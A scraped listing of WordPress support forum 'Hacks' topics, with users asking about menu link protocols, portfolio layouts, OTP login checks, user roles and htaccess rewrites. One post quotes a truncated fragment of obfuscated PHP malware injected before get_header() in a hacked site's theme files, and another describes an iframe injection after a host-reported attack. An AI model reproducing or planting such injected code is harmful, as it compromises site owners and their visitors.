Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

LaocheXe on "Nab Menu protocol's"

0
0

Hello, I am using the Nav Menu plugin, I am trying to add new/other protocol's in the link area but it won't take it unless http. I am trying to put ts3server://server IP/port?=port number as a link on my WordPress website. Is there a way to make the plugin take that link?


CJ123 on "Replicating Jetpack Portfolio Layout on Archive Page"

0
0

Hi, First of all, thank you to everyone for all your help! I've been reading these forums for 10 years now and this is the first time I haven't found the answer I've needed.

I am using a child theme of the free Radiate theme, with the Jetpack Portfolio to display various products. I added the Taxonomy Dropdown Widget so that the products could be easily searched by project-tag. When they display, they are showing as full posts in one continuous column. I would like for them to display the same way that I have them set with the Portfolio short code: in 2 columns, with a headline, a thumbnail, project-type showing, and no excerpt. However, because I used a shortcode for the Portfolio layout, I don't know what code I need to copy and paste onto my archive.php page for it to show right.

I have the site on a temporary URL at the moment. Here is a sample of the archive page:
http://ac0.507.myftpupload.com/project-tag/classic/

And this is how I would like it to be laid out:
http://ac0.507.myftpupload.com/products/

Can anyone help?

oturia on "Close Popup Comment Window after Comment"

0
0

I have a hack that closes the WordPress popup comment window after the comment is submitted. However, it also attempts to close the window when a comment is made on a single post page because I am tying into the same filter that is used by both.

if( stripos($_SERVER['REQUEST_URI'], 'comments_popup') !== FALSE ) {
     add_filter('comment_post_redirect', 'reload_blog_index');

function reload_blog_index(){
echo  "<script type='text/javascript'>";
echo "window.close()";
echo "</script>";
}
}

As you can see above, I'm attempting to tell if the URL that referred the wp-comment-post file is coming from the popup comment window, but that seems to have no effect.

Any suggestions on a function that checks to see if comments_popup is in the referring URL string and only run this function in that instance?

mads_Bottega_Luigia on "Product Add-on - show add-on price?"

0
0

I'm using the plugin product add-on more as a variable, because I like the checkboxes better. I've set the regular price to 0 and added filter in functions.php to remove the "Free" price tag everywhere.

Now my question is, if it is possible to show the first add-on's price in the box on the category-page?

I'm new into WP and codes, so I don't now where to look up the right filter.

Looking forward to your help. Best regards, Mads

mthiede01 on "Code hack - margin/spacing for Nimble theme"

0
0

I am using the Nimble theme for a project and I am interested in having the space between the header-logo/menu and the page content reduced. Can anyone offer guidance as to how to accomplish that in the coding or stylesheet? Thanks :-)

cutlerjm on "1&1 Hosting Account Hacked"

0
0

I received an email this morning:

Your 1&1 hosting account has been attacked via an insecure PHP script you installed on your webspace. You will find an analysis of the attack and instructions on how to secure your webspace against future attacks in this e-mail.

1. Analysis of the attack
1.1 Your following software allowed hackers to misuse your webspace: /kunden/homepages/21/d335407014/htdocs/dancemagic/wp-content/themes/InStyle/epanel/page_templates/js/fancybox/jquery.fancybox-1.3.4.pack.js

1.2 In order to impede further attacks, we have disabled these files. Please note that part of your websites may be impaired.

1.3 You will find information on the technique the hackers used on:
http://en.wikipedia.org/wiki/Remote_File_Inclusion
http://en.wikipedia.org/wiki/Code_injection#Include File Injection

2. Required measures
In order to reactivate your websites and re-establish the security of your 1&1 account, replace your following software with an updated and secured version: > You will further information on:

Please note: Hackers will very probably return to your website. This means that the attack will reoccur as long as this piece of software is not updated.

IMPORTANT: Such attacks represent a serious danger for your webspace. In the future, please check the websites of your software vendor for security alerts and update notifications on a regular basis.

PLEASE HELP!

I have completely emptied my root directory and reinstalled from a known clean back up and yet when scanning the website it still shows that I have malware and injected code from using something called IFRAME.

I am not a newbie in terms of web development but in dealing with something like this I have little to no experience.

Any advice would be welcome.

Thank you for your time

wizzy85 on "Auto-generate unique code/id as title"

0
0

Hi all!
I have written this plugin for a sport club where you can book tennis courts; the idea is to give the admin the possibility to "manual add" new booking.
To do that I created a custom post type called "booking", when the admin will click on "add new" I'd like to see the "title box" of my cpt auto-filled with a unique code or incremental id that will identify that booking.
Which is the best way to generate a title/code like that?
If I have two people logged with the same admin credentials will be there collapse problem in the code generation?

function change_mycpt_default_title() {
    if( $_GET['post_type'] == 'booking' ) {
        return 'UNIQUE CODE HERE';
    }
}

add_filter('default_title', 'change_mycpt_default_title');

This is the code I use to change the default title of my cpt.

mhy on "Rewrite Slug for custom post types & Child themes."

0
0

So I found the rewrite solution for custom post types, however I want to edit the PHP file on my child theme.

I copied the file and made sure it was in the right folder as the parent folder, but no luck! It did work if I edited it directly off the parent file.. but thats not what I want.

Here is the rewrite I was using.

'rewrite' => array('slug' => '/')


rexsorgatz on "Extract Post Content into Custom Field"

0
0

Hard one:

I have a site with thousands of posts that contain a hard-coded subhead at the top of the body content. That is, every posts starts something like this:

<h2>Specific subhead related to this post</h2><p>Here is where the post starts...</p>

I would like to extract that data ("Specific subhead related to this post") from the post content and place it into a custom field instead. Some variation of Regex and SQL is likely required, but it would be helpful if there were some code base I start from...

ToddWelch on "WP-Members Email Only Password Reset Using wpmem_pwdreset_args"

yuri012 on "Show orders on dashboard based from user role"

0
0

I created several user roles based from the shop_manager. How do you make it that each type of shop_manager is able to see orders with a particular status from the orders dashboard? Example: completed_shop_manager can only see 'completed' orders; on_hold_shop_manager can only see 'on-hold' orders, and so on.

I've been looking around for answers but no luck. Thank you in advance!

taloweb on "Adding a step to authentication"

0
0

Hi, I'm trying to add a step AFTER normal WP user auth: I would like to add a page with a code to be inserted to confirm the login.
If the code is not inserted or the page skipped the user should not login.

I know how to add an extra field to login page but I can't find how to add an extra step...

thanks

randomshinichi on "How to return a WP_Error for OTP authentication?"

0
0

In my plugin I have the following code:

add_action('wp_authenticate','filmcustom_otptoken_authenticate');
function filmcustom_otptoken_authenticate($username){
	$otpresult = $_POST['otptoken'];
	$user = get_user_by('login',$username);
	$shouldbe = filmcustom_otptoken_validate($username);
	if (!$user||$shouldbe!=$otpresult) {
		remove_action('authenticate', 'wp_authenticate_username_password', 20);
        $user = new WP_Error( 'denied', __("<strong>ERROR</strong>: You need an OTP.") );
	}
	return $user;
}

However, when I put the wrong OTP in, it doesn't say "ERROR: You need an OTP", it says "ERROR: Invalid username or incorrect password." What am I doing wrong here?

csinia on "Code inserted into php files, was I hacked?"

0
0

In seemingly all my PHP pages, what used to be :

<?php get_header(); ?>

Has the following PHP code inserted before what is above :

<?php $ksyusvtspe = ':!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x78x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~825)!>>%x5c%x7822!ftm7-UVPFNJU,6<*27-SFGTOBSU"%x2f%50%x2e%52%x29%57%x65","qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdosv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uq5c%x7825w%x5c%x7860Tx78257%x5c%x..... it goes on a long way ending with...... $eeuxovhjiw=substr($ksyusvtspe,(49243-39130),(51-39)); $eeuxovhjiw($cldgokzydb, $rnaevocehn, NULL); $eeuxovhjiw=$rnaevocehn; $eeuxovhjiw=(514-393); $ksyusvtspe=$eeuxovhjiw-1; ?>

I have added quite a few plug ins, so I'm nervous about deleting the code without knowing what it is. Any ideas?

atok2 on "shortcode on all blog posts"

0
0

Hi

I've seen different variations of this question here, but mine is a bit more specific, so i would really appreciate if anyone can help me out.

I would like to add this:
Latest articles
[Shortcode]
below all of my blog posts without using a plugin and without doing it manually.

I have tried several techniques i found on the internet with some code modifications but that resulted in crashing the website.

"I do not know how to code or use php" so if anyone can give me a piece of a code that i could try that would be great :)

Thank you very much


SBlancher on "User set_role setting role to 'None'"

0
0

Hello Hack Community!

So I have a very odd scenario, but first let it be known I'm using the plugin Role Manager (found here). I realize this could entirely be the issue but I've tried deactivating it and running my code and it still does not work.

Full Scenario: I've created a function (in functions.php) to fire after a customer buys a membership product. I need their role elevated after payment is received.

So my problem is that when I am using the set_role function to change a users role to a custom one I've created, it doesn't completely work. It actually sets the users role to 'None'. Under the edit page of that user it further defines this as 'No role for this site'. Even more odd it just happens to list the user under the custom role I created! Further testing proved that if I even use set_role to change the user role to 'Administrator', it once again sets the user role to 'None' but LISTS THE USER UNDER ADMINISTRATORS. Very peculiar. This means they are listed properly but have none of the capabilities of the role.

Here is my usage of set_role in my function:
global $current_user;
get_currentuserinfo();
$wp_user_object = new WP_User($current_user->ID); //not used
$current_user->set_role(SisterhoodMember);

I was using a WP_User object before but it was the same as using $current_user so I went with the more direct route. Can anyone help me out with this?? Is it the plugin? I really would like to keep it, my client has been using it for quite a while.

If the full function is necessary I will post it, I'd rather not but I will if necessary. Thank you to anyone who can help me!!

david6630 on "Postname permalinks change my application resource url"

0
0

Hi everyone, I deployed in my wordpress website a custom javascript application to design your own bike and order it. This application uses multiple images to build the rendering of the bike. The site used default permalinks and everything worked fine.
After i installed nextgen gallery plugin that needs postname permalinks to work well.
When i use postname permalinks my javascript application starts without problem however when i want to choose the color of the component of the bike my application give me the message "Error loading image". Using chrome dev tools i understood the problem: postname permalinks rename the images url.
My images are stored in "wordpress" folder of my server and postname permalinks rename the url in "mywebsite.com/post-name/url of my images" rather than "mywebsite.com/url of my images".

Could you help me please?

vialatina on "Plugin Flutter warning"

0
0

Good Night. I've a problem with this code, and i can't fix it. The site looks like this: http://www.revistavialatina.com/?p=2859 . Thanks for your help.

function dircopy($src_dir, $dst_dir, $verbose = false, $use_cached_dir_trees = false)
{
static $cached_src_dir;
static $src_tree;
static $dst_tree;
$num = 0;

if (($slash = substr($src_dir, -1)) == "\\" || $slash == "/") $src_dir = substr($src_dir, 0, strlen($src_dir) - 1);
if (($slash = substr($dst_dir, -1)) == "\\" || $slash == "/") $dst_dir = substr($dst_dir, 0, strlen($dst_dir) - 1);

if (!$use_cached_dir_trees || !isset($src_tree) || $cached_src_dir != $src_dir)
{
$src_tree = get_dir_tree($src_dir);
$cached_src_dir = $src_dir;
$src_changed = true;
}

kinokeo on "Link specific article to category page"

0
0

The knowledgebase template I downloaded has a list of articles within categories. Note that the template's using a custom post type of "articles" rather than posts and it's these articles and article categories I'm referring to.

When clicking on a category title, it takes you to a page listing all the articles in that category.

What I'm wanting is to retain the "category > article" hierarchy in both front and back end, but somehow link or attach a specific article (or post) to that category.

The end result would be that you click on the category title and it takes you to a page with an introductory article about that category. The list of articles in that category could sit underneath it or not, doesn't really matter.

So far I'm working around this by including the category description using:

<header>
<h1 class="archive-header"><span class="cat"><?php echo single_cat_title(); ?></span></h1>
<p class="archive-header-desc"><span class="cat-desc"><?php echo category_description( $cat ); ?></span></p>
</header>

See http://viewmywebsite.com.au/kb1/article-category/account-settings/

But of course the description field doesn't have a WYSIWIG editor or ability to include code, it's purely a textarea. Is there any way to link an article or post to a category instead?

Thanks

kinokeo on "Remove custom taxonomy with htaccess"

0
0

I'm fairly new to Wordpress (previously a Joomla user) and htaccess isn't my strong point. I've downloaded a knowledgebase template that uses a custom taxonomy page type called "article" in the URL. So the URL reads:
http://www.mydomain.com/article/%postname%

I'm trying to remove "article" from the URL. The template publisher told me it wasn't possible to remove it, so I'm thinking the only option is to rewrite the URL using htaccess.

I've tried htaccess options from numerous posts in these forums, but none seem to work, I'm not sure why. For example I thought this would do it (snippet shown only of course):

# END WordPress
# RewriteRule ^article/(.+)/$ /$1 [R=301,L]

tried with and without this before the rewrite rule:

Options +FollowSymLinks
RewriteEngine on

The htaccess file is being recognised (fails when I put a garbage line in it) and but I feel like the rewrite rules aren't. There are other sites on the same server using rewrite rules successfully though so I don't think it's the server setup.

I've also tried numerous plugins. The only one that worked was Custom Permalinks (https://wordpress.org/plugins/custom-permalinks/), but this only allows rewriting of the URL one article at a time, which isn't an ideal way of doing it.

Any help on this is much appreciated...

Viewing all 8245 articles
Browse latest View live




Latest Images